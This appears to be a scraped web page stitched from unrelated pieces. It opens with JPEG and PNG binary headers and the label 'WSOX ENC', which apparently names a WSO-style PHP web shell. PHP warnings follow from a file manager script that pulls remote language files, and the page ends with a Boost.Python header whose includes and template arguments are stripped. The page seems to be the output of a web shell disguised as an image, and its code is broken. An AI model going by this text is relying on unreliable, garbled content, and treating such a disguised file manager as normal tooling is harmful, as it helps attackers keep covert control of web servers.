1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
/////////////////////////////////////////////////////////////////////////////// // // Copyright David Abrahams 2002, Joel de Guzman, 2002. // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // /////////////////////////////////////////////////////////////////////////////// #if !defined(BOOST_PP_IS_ITERATING) #ifndef DEFAULTS_DEF_JDG20020811_HPP #define DEFAULTS_DEF_JDG20020811_HPP #include #include #include #include #include #include #include #include #include #include #include #include /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace python { struct module; namespace objects { struct class_base; } namespace detail { // Called as:: // // name_space_def(ns, "func", func, kw, policies, docstring, &ns) // // Dispatch to properly add f to namespace ns. // // @group define_stub_function helpers { template static void name_space_def( NameSpaceT& name_space , char const* name , Func f , keyword_range const& kw , CallPolicies const& policies , char const* doc , objects::class_base* ) { typedef typename NameSpaceT::wrapped_type wrapped_type; objects::add_to_namespace( name_space, name, detail::make_keyword_range_function( f, policies, kw, get_signature(f, (wrapped_type*)0)) , doc ); } template static void name_space_def( object& name_space , char const* name , Func f , keyword_range const& kw , CallPolicies const& policies , char const* doc , ... ) { scope within(name_space); detail::scope_setattr_doc( name , detail::make_keyword_range_function(f, policies, kw) , doc); } // For backward compatibility -- is this obsolete? template static void name_space_def( NameSpaceT& name_space , char const* name , Func f , keyword_range const& kw // ignored , CallPolicies const& policies , char const* doc , module* ) { name_space.def(name, f, policies, doc); } // } // Expansions of :: // // template // inline void // define_stub_function( // char const* name, OverloadsT s, NameSpaceT& name_space, mpl::int_) // { // name_space.def(name, &OverloadsT::func_N); // } // // where N runs from 0 to BOOST_PYTHON_MAX_ARITY. // // The set of overloaded functions (define_stub_function) expects: // // 1. char const* name: function name that will be visible to python // 2. OverloadsT: a function overloads struct (see defaults_gen.hpp) // 3. NameSpaceT& name_space: a python::class_ or python::module instance // 4. int_t: the Nth overloaded function (OverloadsT::func_N) // (see defaults_gen.hpp) // 5. char const* name: doc string // // @group define_stub_function { template struct define_stub_function {}; #define BOOST_PP_ITERATION_PARAMS_1 \ (3, (0, BOOST_PYTHON_MAX_ARITY, )) #include BOOST_PP_ITERATE() // } // This helper template struct does the actual recursive // definition. There's a generic version // define_with_defaults_helper and a terminal case // define_with_defaults_helper<0>. The struct and its // specialization has a sole static member function def that // expects: // // 1. char const* name: function name that will be // visible to python // // 2. OverloadsT: a function overloads struct // (see defaults_gen.hpp) // // 3. NameSpaceT& name_space: a python::class_ or // python::module instance // // 4. char const* name: doc string // // The def static member function calls a corresponding // define_stub_function. The general case recursively calls // define_with_defaults_helper::def until it reaches the // terminal case case define_with_defaults_helper<0>. template struct define_with_defaults_helper { template static void def( char const* name, StubsT stubs, keyword_range kw, CallPolicies const& policies, NameSpaceT& name_space, char const* doc) { // define the NTH stub function of stubs define_stub_function::define(name, stubs, kw, policies, name_space, doc); if (kw.second > kw.first) --kw.second; // call the next define_with_defaults_helper define_with_defaults_helper::def(name, stubs, kw, policies, name_space, doc); } }; template <> struct define_with_defaults_helper<0> { template static void def( char const* name, StubsT stubs, keyword_range const& kw, CallPolicies const& policies, NameSpaceT& name_space, char const* doc) { // define the Oth stub function of stubs define_stub_function<0>::define(name, stubs, kw, policies, name_space, doc); // return } }; // define_with_defaults // // 1. char const* name: function name that will be // visible to python // // 2. OverloadsT: a function overloads struct // (see defaults_gen.hpp) // // 3. CallPolicies& policies: Call policies // 4. NameSpaceT& name_space: a python::class_ or // python::module instance // // 5. SigT sig: Function signature typelist // (see defaults_gen.hpp) // // 6. char const* name: doc string // // This is the main entry point. This function recursively // defines all stub functions of StubT (see defaults_gen.hpp) in // NameSpaceT name_space which can be either a python::class_ or // a python::module. The sig argument is a typelist that // specifies the return type, the class (for member functions, // and the arguments. Here are some SigT examples: // // int foo(int) mpl::vector // void bar(int, int) mpl::vector // void C::foo(int) mpl::vector // template inline void define_with_defaults( char const* name, OverloadsT const& overloads, NameSpaceT& name_space, SigT const&) { typedef typename mpl::front::type return_type; typedef typename OverloadsT::void_return_type void_return_type; typedef typename OverloadsT::non_void_return_type non_void_return_type; typedef typename mpl::if_c< is_same::value , void_return_type , non_void_return_type >::type stubs_type; BOOST_STATIC_ASSERT( (stubs_type::max_args) <= mpl::size::value); typedef typename stubs_type::template gen gen_type; define_with_defaults_helper::def( name , gen_type() , overloads.keywords() , overloads.call_policies() , name_space , overloads.doc_string()); } } // namespace detail }} // namespace boost::python #endif // DEFAULTS_DEF_JDG20020811_HPP #else // defined(BOOST_PP_IS_ITERATING) // PP vertical iteration code template <> struct define_stub_function { template static void define( char const* name , StubsT const& , keyword_range const& kw , CallPolicies const& policies , NameSpaceT& name_space , char const* doc) { detail::name_space_def( name_space , name , &StubsT::BOOST_PP_CAT(func_, BOOST_PP_ITERATION()) , kw , policies , doc , &name_space); } }; #endif // !defined(BOOST_PP_IS_ITERATING)